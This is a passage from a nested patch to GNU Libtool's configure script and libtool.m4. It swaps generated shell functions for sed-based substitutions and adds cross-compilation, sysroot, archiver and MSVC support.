--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/libtool.m4 b/libtool.m4
-index 434530059fa..e45fdc6998c 100644
---- a/libtool.m4
-+++ b/libtool.m4
-@@ -1,7 +1,8 @@
- # libtool.m4 - Configure libtool for the host system. -*-Autoconf-*-
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is free software; the Free Software Foundation gives
-@@ -10,7 +11,8 @@
-
- m4_define([_LT_COPYING], [dnl
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -37,7 +39,7 @@ m4_define([_LT_COPYING], [dnl
- # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
- ])
-
--# serial 56 LT_INIT
-+# serial 57 LT_INIT
-
-
- # LT_PREREQ(VERSION)
-@@ -92,7 +94,8 @@ _LT_SET_OPTIONS([$0], [$1])
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
- AC_SUBST(LIBTOOL)dnl
-
- _LT_SETUP
-@@ -166,10 +169,13 @@ _LT_DECL([], [exeext], [0], [Executable file suffix (normally "")])dnl
- dnl
- m4_require([_LT_FILEUTILS_DEFAULTS])dnl
- m4_require([_LT_CHECK_SHELL_FEATURES])dnl
-+m4_require([_LT_PATH_CONVERSION_FUNCTIONS])dnl
- m4_require([_LT_CMD_RELOAD])dnl
- m4_require([_LT_CHECK_MAGIC_METHOD])dnl
-+m4_require([_LT_CHECK_SHAREDLIB_FROM_LINKLIB])dnl
- m4_require([_LT_CMD_OLD_ARCHIVE])dnl
- m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl
-+m4_require([_LT_WITH_SYSROOT])dnl
-
- _LT_CONFIG_LIBTOOL_INIT([
- # See if we are running on zsh, and set the options which allow our
-@@ -199,7 +205,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -632,7 +638,7 @@ m4_ifset([AC_PACKAGE_NAME], [AC_PACKAGE_NAME ])config.lt[]dnl
- m4_ifset([AC_PACKAGE_VERSION], [ AC_PACKAGE_VERSION])
- configured by $[0], generated by m4_PACKAGE_STRING.
-
--Copyright (C) 2009 Free Software Foundation, Inc.
-+Copyright (C) 2010 Free Software Foundation, Inc.
- This config.lt script is free software; the Free Software Foundation
- gives unlimited permision to copy, distribute and modify it."
-
-@@ -746,15 +752,12 @@ _LT_EOF
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-
-- _LT_PROG_XSI_SHELLFNS
-+ _LT_PROG_REPLACE_SHELLFNS
-
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
- ],
-@@ -980,6 +983,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&AS_MESSAGE_LOG_FD
- echo "$AR cru libconftest.a conftest.o" >&AS_MESSAGE_LOG_FD
- $AR cru libconftest.a conftest.o 2>&AS_MESSAGE_LOG_FD
-+ echo "$RANLIB libconftest.a" >&AS_MESSAGE_LOG_FD
-+ $RANLIB libconftest.a 2>&AS_MESSAGE_LOG_FD
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -1069,30 +1074,41 @@ m4_defun([_LT_DARWIN_LINKER_FEATURES],
- fi
- ])
-
--# _LT_SYS_MODULE_PATH_AIX
--# -----------------------
-+# _LT_SYS_MODULE_PATH_AIX([TAGNAME])
-+# ----------------------------------
- # Links a minimal program and checks the executable
- # for the system default hardcoded library path. In most cases,
- # this is /usr/lib:/lib, but when the MPI compilers are used
- # the location of the communication and MPI libs are included too.
- # If we don't find anything, use the default library path according
- # to the aix ld manual.
-+# Store the results from the different compilers for each TAGNAME.
-+# Allow to override them for all tags through lt_cv_aix_libpath.
- m4_defun([_LT_SYS_MODULE_PATH_AIX],
- [m4_require([_LT_DECL_SED])dnl
--AC_LINK_IFELSE([AC_LANG_SOURCE([AC_LANG_PROGRAM])],[
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi],[])
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ AC_CACHE_VAL([_LT_TAGVAR([lt_cv_aix_libpath_], [$1])],
-+ [AC_LINK_IFELSE([AC_LANG_PROGRAM],[
-+ lt_aix_libpath_sed='[
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }]'
-+ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then
-+ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi],[])
-+ if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then
-+ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])="/usr/lib:/lib"
-+ fi
-+ ])
-+ aix_libpath=$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])
-+fi
- ])# _LT_SYS_MODULE_PATH_AIX
-
-
-@@ -1117,7 +1133,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
-
- AC_MSG_CHECKING([how to print strings])
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -1161,6 +1177,39 @@ _LT_DECL([], [ECHO], [1], [An echo program that protects backslashes])
- ])# _LT_PROG_ECHO_BACKSLASH
-
-
-+# _LT_WITH_SYSROOT
-+# ----------------
-+AC_DEFUN([_LT_WITH_SYSROOT],
-+[AC_MSG_CHECKING([for sysroot])
-+AC_ARG_WITH([libtool-sysroot],
-+[ --with-libtool-sysroot[=DIR] Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).],
-+[], [with_libtool_sysroot=no])
-+
-+dnl lt_sysroot will always be passed unquoted. We quote it here
-+dnl in case the user passed a directory name.
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ AC_MSG_RESULT([${with_libtool_sysroot}])
-+ AC_MSG_ERROR([The sysroot must be an absolute path.])
-+ ;;
-+esac
-+
-+ AC_MSG_RESULT([${lt_sysroot:-no}])
-+_LT_DECL([], [lt_sysroot], [0], [The root where to search for ]dnl
-+[dependent libraries, and in which our libraries should be installed.])])
-+
- # _LT_ENABLE_LOCK
- # ---------------
- m4_defun([_LT_ENABLE_LOCK],
-@@ -1320,14 +1369,47 @@ need_locks="$enable_libtool_lock"
- ])# _LT_ENABLE_LOCK
-
-
-+# _LT_PROG_AR
-+# -----------
-+m4_defun([_LT_PROG_AR],
-+[AC_CHECK_TOOLS(AR, [ar], false)
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+_LT_DECL([], [AR], [1], [The archiver])
-+_LT_DECL([], [AR_FLAGS], [1], [Flags to create an archive])
-+
-+AC_CACHE_CHECK([for archiver @FILE support], [lt_cv_ar_at_file],
-+ [lt_cv_ar_at_file=no
-+ AC_COMPILE_IFELSE([AC_LANG_PROGRAM],
-+ [echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&AS_MESSAGE_LOG_FD'
-+ AC_TRY_EVAL([lt_ar_try])
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ AC_TRY_EVAL([lt_ar_try])
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-+ ])
-+ ])
-+
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-+_LT_DECL([], [archiver_list_spec], [1],
-+ [How to feed a file listing to the archiver])
-+])# _LT_PROG_AR
-+
-+
- # _LT_CMD_OLD_ARCHIVE
- # -------------------
- m4_defun([_LT_CMD_OLD_ARCHIVE],
--[AC_CHECK_TOOL(AR, ar, false)
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
--_LT_DECL([], [AR], [1], [The archiver])
--_LT_DECL([], [AR_FLAGS], [1])
-+[_LT_PROG_AR
-
- AC_CHECK_TOOL(STRIP, strip, :)
- test -z "$STRIP" && STRIP=:
-@@ -1623,7 +1705,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--[#line __oline__ "configure"
-+[#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -1667,10 +1749,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -2210,8 +2292,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -2244,13 +2327,71 @@ m4_if([$1], [],[
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([[a-zA-Z]]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | [$GREP ';[c-zC-Z]:/' >/dev/null]; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -2342,7 +2483,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -2950,6 +3091,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -3016,7 +3162,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -3167,6 +3314,21 @@ tpf*)
- ;;
- esac
- ])
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[[\1]]\/[[\1]]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -3174,7 +3336,11 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
- _LT_DECL([], [deplibs_check_method], [1],
- [Method to check whether dependent libraries are shared objects])
- _LT_DECL([], [file_magic_cmd], [1],
-- [Command to use when deplibs_check_method == "file_magic"])
